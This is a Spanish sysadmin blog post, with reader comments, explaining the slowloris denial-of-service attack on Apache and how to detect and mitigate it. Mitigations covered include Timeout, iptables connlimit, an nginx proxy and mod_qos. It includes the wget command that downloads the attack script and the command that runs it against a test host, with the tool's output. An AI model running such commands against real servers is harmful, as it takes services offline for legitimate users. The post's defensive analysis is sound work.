systemadmin.es > LAMP y web > slowloris: Ataque de denegación de servicio para Apache 1.x y 2.x

slowloris: Ataque de denegación de servicio para Apache 1.x y 2.x

En junio se publicó slowloris, se trata de un cliente HTTP capaz de provocar una denegación de servicio (DoS) a servidores web con poco uso de ancho de banda.

ASCIIart slowloris

ASCIIart slowloris

Dicho cliente HTTP intenta abrir tantas conexiones como pueda al servidor web e intenta mantenerlas abiertas tanto tiempo como sea posible. Periódicamente para evitar que el servidor web cierre la conexión va añadiendo headers a la petición HTTP sin llegar a finalizarla nunca.

Esto provoca que en determinados servidores web se vayan quedando las conexiones abiertas hasta llegar al máximo, bloqueando las peticiones legítimas.

Entre los servidores web afectados se encuentra tanto Apache 1.x como Apache 2.x. Vamos a ver como funciona el ataque, como detectarlo y como mitigar el riesgo.

Para usar slowloris necesitaremos los siguientes módulos de perl:

perl -MCPAN -e 'install GetOpt::Long'
perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

A continuación lo bajamos:

wget http://ha.ckers.org/slowloris/slowloris.pl

Procedemos a ejecutarlo en un host de prueba, como puede ser una máquina virtual:

# perl slowloris.pl -dns 10.10.10.126

CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco

 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client

Defaulting to port 80.
Defaulting to a 5 second tcp connection timeout.
Defaulting to a 100 second re-try timeout.
Defaulting to 1000 connections.
Multithreading enabled.
Connecting to 10.10.10.126:80 every 100 seconds with 1000 sockets:
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.

Veremos como en seguida queda bloqueado el site, ya que todas las peticiones las coge y retiene el slowloris. Mediante un netstat podremos verlo:

# netstat -tpan 
(...)
tcp      232      0 10.10.10.126:80             88.11.210.64:48074       ESTABLISHED -
tcp      232      0 10.10.10.126:80             88.11.10.64:48180        ESTABLISHED -
tcp      232      0 10.10.10.126:80             88.11.10.64:48183        ESTABLISHED -
tcp      232      0 10.10.10.126:80             88.11.10.64:48189        ESTABLISHED -
tcp      232      0 10.10.10.126:80             88.11.10.64:48190        ESTABLISHED -
(...)

Si dejamos un tcpdump:

# tcpdump -nni bond0 -s 0 -w /tmp/slowloris.pcap 'port 80'

Podremos ver la petición que realiza:

GET / HTTP/1.1
Host: 10.10.10.126
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)
Content-Length: 42

Para finalizar la petición debería dejar una linea en blanco,por lo que sería envío de los siguientes carácteres: “\n\r\n\r“. Pero, en el caso de slowloris, lo deja con “\n\r” y al cabo de un tiempo vuelve introduce un header sin sentido para mantener la petición viva:

X-a: b

Volviendo a dejar la petición sin la linea en blanco, por lo que se mantiene y volviendo a esperar para introducir lo mismo una y otra vez.

Al no finalizar la petición no encontraremos nada en los logs de apache, ni en el de error ni en el de acceso, ya que toda petición hasta que no finaliza no se escribe en el log.

En el momento que apaguemos el apache o bien termine el ataque veremos en el log de error lineas similares a la siguiente:

[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers
[Mon Aug 24 14:49:17 2009] [error] [client 88.11.210.64] request failed: error reading the headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the headers
[Mon Aug 24 14:49:21 2009] [error] [client 88.11.210.64] request failed: error reading the headers

Si dejamos un curl corriendo en un while true y finalizamos el ataque con un Control-C veremos como el apache tarda unos segundos a recuperse:

HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:40:38 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1


real    0m0.071s
user    0m0.000s
sys     0m0.004s


HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:30 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1


real    0m51.483s
user    0m0.000s
sys     0m0.004s

HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:53 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1


real    0m21.086s
user    0m0.000s
sys     0m0.004s

HTTP/1.1 301 Moved Permanently
Date: Mon, 24 Aug 2009 13:41:54 GMT
Server: Apache
Location: http://systemadmin.es
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1


real    0m0.088s
user    0m0.000s
sys     0m0.000s

Se comenta que se puede reducir el impacto del ataque modificando la variable Timeout, que por defecto esta muy alto:

Timeout 600

Esta parámetro afecta por separado (el mismo timeout para los tres, no es como total) a los siguientes tiempos para la recepción de la petición:

  • Tiempo que tarda en recibir una petición GET
  • Tiempo entre la recepción de paquetes TCP en las peticiones POST y PUT
  • Tiempo entre ACKs en las respuestas de la petición

Si dejamos el valor demasiado bajo estaremos finalizando legitimas, pero aún con un valor más que justo, el problema del slowloris seguiremos teniéndolo. Tal como se comenta en la lista devel del apache el problema es de fondo:

Mitagation is the wrong approach.

We all know our architecture is wrong.

We have started on fixing it, but we need to finish the async input
rewrite on trunk, but all of the people who have hacked on it, myself
included have hit ENOTIME for the last several years.

Hopefully the publicity this has generated will get renewed interest
in solving this problem the right way, once and for all :)

It doesn’t need to be the simple mpm, or the event mpm, its not even
about MPMs, its about how the whole input filter stack works.

So.. i write yet another email about it… and disappear in the ether
of ENOTIME once again…..

-Paul

Podríamos limitar el número de conexiones con iptables:

iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j DROP

Pero con esto tendriamos dos problemas:

  1. Estaríamos bloqueando el acceso a clientes detrás de un proxy
  2. El ataque seguiría siendo posible empleando más IPs pero menos conexiones por IP, por ejemplo, desde una botnet.

Además, los sistemas IDS/IDP basados en firmas no resultan muy efectivos en este caso, ya que las peticiones son perfectamente validas. Como mucho se podrían fijar en el UserAgent, pero es muy fácilmente modificable.

En los posts anteriores se ha hablado de varias configuraciones de servidores web en modo proxy. Se podría usar una de estas configuraciones para evitar la migración a un servidor web no vulnerable. Vamos a ver como se comportan:

Para el caso de lighttpd en modo proxy el apache se bloquea igual, por lo que seguimos teniendo una denegación de servicio. Es de justicia destacar que lighttpd no esta afectado por slowloris, simplemente es esta configuración en concreto en la que hay una denegación de servicio porque el backend es vulnerable.

Por el contrario, si configuramos nginx en modo proxy este evita la denegación de servicio al apache. Deberemos tener en cuenta que si tenemos el Apache con VirtualHosts deberemos añadir headers adicionales entre el nginx y el apache.

14 comments to “slowloris: Ataque de denegación de servicio para Apache 1.x y 2.x”

  1. Hola,

    Por demás muy interesante, sólo una pregunta:

    ¿Como instalas el módulo connlimit en RHEL 5 o CentOS 5 sin compilarlo a mano?
    Pues el mismo no está soportado en las actuales versiones del kernel que usa RedHat y por consiguiente CentOS. Si puedes dejar una guìa serìa excelente!

    Saludos!

  2. si le quitas la opción de keepalive al apache, este cierra la conexión
    en el momento de devolver el primer resultado. No sé si será peor ya que
    el cliente abrirá más conexiones y mantendrá al server abriendo y cerrando conexiones sin parar. Nada nuevo bajo el sol.

  3. En realidad el KeepAlive no aplica en este caso, ya que su función es mantener la conexión abierta cuando finaliza una petición por si se hacen más de una. Con slowloris nunca llegan a terminar las peticiones, por lo que no importa que este parámetro este alto o bajo.

  4. En el cas de RHEL o CentOS si no es por paquetes de terceros o compilando tu mismo el kernel no se puede usar.

    No sería el caso de otras distribuciones como Fedora.

    saludos,

  5. alguna solución mas aparte???? de la solucion de IPTABLES en limitar el numero de conexiones por cliente

  6. Mi recomendación pasa por instalar un nginx en modo proxy con mod_rpaf en el Apache. Existen otras opciones pero esta es la que me ha funcionado mejor. Por ejemplo, he probado un IPS TippingPoint 2400E con su correspondiente “vacuna” activada pero en algunos casos aparece en el log y otros no pero en NINGUNO bloquea el ataque.

  7. A día de hoy existe una solución al problema?

    S2

  8. Existen muchos parches para “mitigar”, pero no solucionan el problema de fondo que es de arquitectura. Mi recomendación sería pasar por un nginx, si no es substituyendo el apache, en modo proxy

    saludos!

  9. Felicitaciones por el blog está muyyyy bueno! Yo tuve ese problema hace un tiempo y encontré esta solución instalando en apache el modulo mod_qos ,descripto en este articulo, la cual funcionó correctamente.

    También lo pude probar con exito en un CentOS.

    Saludos y sigan con su excelente trabajo!

  10. Muy buen artículo… de todas formas, estuve probando el slowloris contra un servidor que usa nginx como proxy reverso y aún así se produce la denegación de servicios… hay alguna configuración especial necesaria para que el nginx lo evite?

    Saludos

  11. Gracias por la info. Al menos ahora se porque cascan los apaches. Los últimos comentarios hablan de Qos, un mod de apache. No lo he utilizado nunca. En HowtoForge hablan de el utiliando en Debian, me pregunto si habéis valorado esta posibilidad.

    Saludos cordiales,

    ROB

  12. Es poco probable que te encuentres con un ataque de este tipo, yo de ti me miraría la serie de como detectar problemas en entornos LAMP (apache) y lo mismo para problemas en MySQL

  13. Buenas Jordi

    el problema es que, por lo que parece, si me he encontrado con este problema :( De hecho, buscando este asunto llegue a tu blog. LLevo días con caídas de apache sin sentido aparente y los logs exponen claramente lo que explicas en tu documento.

    Entiendo que el mod_Qos, ¿no lo valoras como una solución?

    Saludos cordiales,

    ROB

  14. No me gusta porque no ataca el problema realmente sino que, digamos, “lo disimula”. Si no puedes sustituir el apache por lighttpd o nginx siempre puedes instalar nginx en frente (proxy) con mod_rpaf para que te frene el ataque

    Saludos!

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>